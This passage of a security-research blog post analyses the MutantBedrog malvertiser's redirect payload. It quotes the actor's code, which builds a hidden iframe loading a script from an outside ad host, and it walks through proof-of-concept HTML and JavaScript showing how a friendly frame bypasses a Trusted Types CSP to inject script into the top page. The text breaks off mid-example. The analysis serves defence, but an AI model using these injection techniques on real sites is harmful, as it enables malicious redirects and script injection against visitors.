url="https://substackcdn.com/image/fetch/$s_!S6fM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S6fM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S6fM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 424w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 848w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 1272w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S6fM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png" width="842" height="570" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:570,&quot;width&quot;:842,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S6fM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 424w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 848w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 1272w, https://substackcdn.com/image/fetch/$s_!S6fM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5a9e0cd-6f2f-4df4-bf22-d281f09e54eb_842x570.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><p><em>MutantBedrog</em> is a malvertiser that caught our attention early summer &#8217;24 for their highly disruptive forced redirect campaigns and the unique JavaScript payload that they use to fingerprint devices and dispatch invasive redirections.</p><p>While a comprehensive report on MutantBedrog&#8217;s TTPs is available <strong><a href="https://hubs.la/Q02PXhZh0">here</a></strong><em>, </em>this blog post will hyper-focus on a very specific technical tidbit from their client-side redirect payload.</p><p>For reference, the full payload is available in the following gist:</p><p><a href="https://gist.github.com/eliyastein/501392d5b52ca07cef4d5ea9bddc254e#file-payload-js">https://gist.github.com/eliyastein/501392d5b52ca07cef4d5ea9bddc254e#file-payload-js</a></p><div><hr></div><p>This code includes a lot of familiar tactics, but tldr: it&#8217;s a slightly convoluted mess of multi-stage client-side fingerprinting and DOM manipulation that exists purely to spawn a <em>hopefully unmitigated</em> redirect to a scam landing page.</p><p>One of the things that stood out to us right away were the multiple references to content security policies and Trusted-Types that appear at every stage of execution.</p><p>Let&#8217;s zoom in on some excerpts for clarity:</p><pre><code> if (!j &amp;&amp; typeof trustedTypes !== &#8216;undefined&#8217;) {
                try {
                  var y =
                    &#8216;\net = () =&gt; {\n    var t = Math.round(Date.now() / 1000).toString();\n    var es = &#8220;&#8221;;\n    for (var i = 0; i &lt; t.length; i++) {\n        var c = t.charCodeAt(i);\n        es += String.fromCharCode(c + 10);\n    }\n    return encodeURIComponent(btoa(es));\n};\ntry {\nif (typeof trustedTypes !== &#8220;undefined&#8221;) {\nconst rp = trustedTypes.createPolicy(&#8221;rp&#8221;, {\ncreateScriptURL: (input) =&gt; input,\n});\nvar script = document.createElement(&#8221;script&#8221;);\nscript.src = rp.createScriptURL(\n&#8221;https://ab2t.com/v2/banner/pix?id=5d83bs12&amp;aid=ttd006&amp;tid=&#8217; +
                    (window[&#8217;_tk&#8217;] || 0) +
                    &#8216;&amp;p=&#8221;+et()\n);\nscript.type = &#8220;text/javascript&#8221;;\nscript.onload = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(&#8221;distroy&#8221;, &#8220;*&#8221;);\n};\nscript.onerror = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(&#8221;distroy&#8221;, &#8220;*&#8221;);\n};\ndocument.head.appendChild(script);\n}\n} catch (e) {}&#8217;
                  const U = trustedTypes.createPolicy(&#8217;rp&#8217;, {
                    createHTML: (p) =&gt; p,
                  })
                  var D = document.createElement(&#8217;iframe&#8217;)
                  D.setAttribute(
                    &#8216;srcdoc&#8217;,
                    U.createHTML(&#8217;&lt;script&gt;&#8217; + y + &#8216;&lt;/sc&#8217; + &#8216;ript&gt;&#8217;)
                  )
                  D.setAttribute(
                    &#8216;style&#8217;,
                    &#8216;width: 0; height: 0; border: none; position: absolute; visibility: hidden;&#8217;
                  )</code></pre><p>And more here:</p><pre><code>                       try {
                          if (typeof trustedTypes !== &#8216;undefined&#8217;) {
                            const W = trustedTypes.createPolicy(&#8217;rp&#8217;, {
                              createScript: (b) =&gt; b,
                            })
                            var V = document.createElement(&#8217;script&#8217;)
                            V.textContent = W.createScript(p.data.secd)
                            V.type = &#8216;text/javascript&#8217;
                            V.onload = function () {
                              V.parentNode.removeChild(V)
                            }
                            V.onerror = function () {
                              V.parentNode.removeChild(V)
                            }
                            document.head.appendChild(V)
                          }
                        } catch (b) {}</code></pre><p>Having never seen this in a malvertising payload before, we got curious and excited, because it turns out that strange things like this that might seem superfluous or out of place are often intentional.</p><p>Taking time to understand <em>why</em> weird stuff might appear in a payload like this is often fruitful and in the past has resulted in the discovery of multiple 0day browser bugs that were actually being exploited by the attackers:</p><p><strong><a href="https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1">Malvertising Threat Actor &#8220;Yosec&#8221; Exploits Browser Bugs To Push Malware (CVE-2021&#8211;1765&#8230;</a></strong><a href="https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1"><br></a><em><a href="https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1">Most threat actors that operate via ad tech have embraced an operational shift over the last 2 years, leaning heavily&#8230;</a></em><a href="https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1">blog.confiant.com</a></p><p><strong><a href="https://blog.confiant.com/malvertiser-scamclub-bypasses-iframe-sandboxing-with-postmessage-shenanigans-cve-2021-1801-1c998378bfba">Malvertiser &#8220;ScamClub&#8221; Bypasses Iframe Sandboxing With postMessage() Shenanigans [CVE-2021&#8211;1801]</a></strong><a href="https://blog.confiant.com/malvertiser-scamclub-bypasses-iframe-sandboxing-with-postmessage-shenanigans-cve-2021-1801-1c998378bfba"><br></a><em><a href="https://blog.confiant.com/malvertiser-scamclub-bypasses-iframe-sandboxing-with-postmessage-shenanigans-cve-2021-1801-1c998378bfba">This blog post is about the mechanics of a long tail iframe sandbox bypass found in a payload belonging to the&#8230;</a></em><a href="https://blog.confiant.com/malvertiser-scamclub-bypasses-iframe-sandboxing-with-postmessage-shenanigans-cve-2021-1801-1c998378bfba">blog.confiant.com</a></p><p><strong><a href="https://blog.confiant.com/zirconium-was-one-step-ahead-of-chromes-redirect-blocker-with-0-day-2d61802efd0d">Zirconium was one step ahead of Chrome&#8217;s redirect blocker with 0-day</a></strong><a href="https://blog.confiant.com/zirconium-was-one-step-ahead-of-chromes-redirect-blocker-with-0-day-2d61802efd0d"><br></a><em><a href="https://blog.confiant.com/zirconium-was-one-step-ahead-of-chromes-redirect-blocker-with-0-day-2d61802efd0d">On January 15, Confiant exposed the activity of the Zirconium group, spreading malicious ads via a network of fake ad&#8230;</a></em><a href="https://blog.confiant.com/zirconium-was-one-step-ahead-of-chromes-redirect-blocker-with-0-day-2d61802efd0d">blog.confiant.com</a></p><p>We began our investigation by brushing up on Trusted Types, a CSP directive which can be used as part of a security strategy in order to help mitigate XSS attacks and other kinds of insecure or risky JavaScript execution scenarios.</p><p>More information on all that can be found here:</p><p><strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API">Trusted Types API - Web APIs | MDN</a></strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API"><br></a><em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API">The Trusted Types API gives web developers a way to lock down the insecure parts of the DOM API to prevent client-side&#8230;</a></em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API">developer.mozilla.org</a></p><p>In order to stage our experiment, we need to do several things.</p><ul><li><p>Distill the payload down to a &#8220;minimum viable payload&#8221; that includes <em>only </em>the mysterious snippet that we want to test&#8202;&#8212;&#8202;and the redirect technique in question. The rest is noise and can introduce a lot of distractions.</p></li><li><p>Stage a testing environment. Since we are emulating an ad serving stack, this means we need a parent page that will embed an &#8220;ad&#8221; frame where our payload will live.</p></li></ul><p>We also have some considerations:</p><ul><li><p>Because the payload writes and accesses many objects directly to and from <code>top</code> we can assume this malvertiser is planning for execution in a friendly frame. Otherwise all of this stuff would be blocked by the Same Origin Policy. That&#8217;s ok though as lots of ads find themselves rendering in friendly frames.</p></li><li><p>Speaking of origins, we need some real origins in order to emulate things as they would appear in the wild. We can do this with a local web server and some /etc/hosts entries.</p></li><li><p>We also need a nimble way to mess around with CSPs, which are typically sent along on a response header. However, CSPs can also be loaded using <code>meta</code> tags, so we will go with that as the easier option.</p></li></ul><blockquote><p>For reference, a <em>friendly frame</em> is an iframe that has the same origin as the embedding document. The Same-Origin Policy is a critical mechanism in browser (and advertising) security.</p></blockquote><p><strong><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy - Security on the web | MDN</a></strong><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"><br></a><em><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin&#8230;</a></em><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">developer.mozilla.org</a></p><div><hr></div><p>We can emulate a page that loads an ad in a friendly frame with some very basic code:</p><pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang=&#8221;en&#8221;&gt;
&lt;head&gt;
    &lt;meta charset=&#8221;UTF-8&#8221;&gt;
    &lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8221;&gt;
    &lt;title&gt;Hello World&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;   
  &lt;iframe src=&#8221;payload.html&#8221;&gt;
  &lt;/iframe&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>Let&#8217;s try to inject a script into <code>top</code>from <code>payload.html</code> :</p><pre><code>&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
        try { 
            let s = top.document.createElement(&#8217;script&#8217;);
            s.src = &#8216;data:text/javascript,alert(1)&#8217;;
            top.document.body.appendChild(s);
          } catch (e) {}
    &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;&lt;/body&gt;
&lt;/html&gt;</code></pre><p>Given that we&#8217;re running this from a friendly frame, the browser is happy to oblige, and the alert is popped. We now have a foundation for our investigation.</p><p>Let&#8217;s modify our staging page to include a Trusted Types CSP directive by including the following <code>meta</code> tag in the header:</p><pre><code>&lt;meta http-equiv=&#8221;Content-Security-Policy&#8221; content=&#8221;require-trusted-types-for &#8216;script&#8217;;&#8221;&gt;</code></pre><p>Our same payload will now get rejected by the CSP on <code>top</code> :</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AaGK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AaGK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 424w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 848w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 1272w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AaGK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png" width="1000" height="167" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:167,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AaGK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 424w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 848w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 1272w, https://substackcdn.com/image/fetch/$s_!AaGK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F085e49db-bd4f-426a-85a5-db370306fa4b_1000x167.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now we borrow from MutantBedrog&#8217;s methodology and alter our payload.html to execute the JS within a Trusted Types policy:</p><pre><code>try {
    const W = top.window.trustedTypes.createPolicy(&#8217;p&#8217;, {
         createScriptURL: (url) =&gt; url
    });

    const el = top.document.createElement(&#8217;script&#8217;);
    el.src = W.createScriptURL(&#8217;data:text/javascript,alert(1)&#8217;);
    top.document.body.appendChild(el);
 } catch (e) {}</code></pre><p>Suddenly, the browser is happy to oblige:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sCTL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sCTL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 424w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 848w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 1272w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sCTL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png" width="1000" height="389" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:389,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sCTL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 424w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 848w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 1272w, https://substackcdn.com/image/fetch/$s_!sCTL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a2eefee-149a-480c-abfa-5ddfffc47008_1000x389.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>By now, we have all the makings of a bypass: A payload that works despite the presence of a security constraint in the form a Trusted Types CSP directive.</p><p>We wanted to test one more thing though, given that the MutantBedrog payload is multi-stage and includes the Trusted-Types voodoo in subsequent stages, even after successful injection to <code>top</code>. Here&#8217;s an updated payload that emulates this multi-stage strategy, but <em>without</em> subsequent Trusted Types policies:</p><pre><code>    &lt;script&gt;
        try {
            const W = top.window.trustedTypes.createPolicy(&#8217;p&#8217;, {
                createScriptURL: (url) =&gt; url
            });

            const el = top.document.createElement(&#8217;script&#8217;);
            el.src = W.createScriptURL(&#8217;data:text/javascript,p=document.createElement(&#8221;p&#8221;),p.innerHTML=&#8221;hi&#8221;,document.body.appendChild(p),alert(2)&#8217;);
            top.document.body.appendChild(el);
        } catch (e) {}
    &lt;/script&gt;</code></pre><p>Uh oh!</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GXhV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GXhV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 424w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 848w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 1272w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GXhV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png" width="1000" height="194" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:194,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GXhV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 424w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 848w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 1272w, https://substackcdn.com/image/fetch/$s_!GXhV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fa0b73-ad83-49e0-b25f-39180a1f451d_1000x194.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Blocked by the browser despite the presence of our previous bypass due to our injected script creating an inline DOM element and trying to set its <code>innerHTML</code>.</p><p>So what happens if we inline another Trusted Types policy in that injected script? Let&#8217;s give it a try:</p><pre><code>    &lt;script&gt;
        try {
            const W = top.window.trustedTypes.createPolicy(&#8217;p&#8217;, {
                createScriptURL: (url) =&gt; url
            });

            const el = top.document.createElement(&#8217;script&#8217;);
            el.src = W.createScriptURL(&#8217;data:text/javascript,W=top.window.trustedTypes.createPolicy(&#8221;p&#8221;,{createHTML: (h) =&gt; h  }),p=document.createElement(&#8221;p&#8221;),p.innerHTML=W.createHTML(&#8221;hi&#8221;),document.body.appendChild(p),alert(3)&#8217;);
            top.document.body.appendChild(el);
        } catch (e) {}
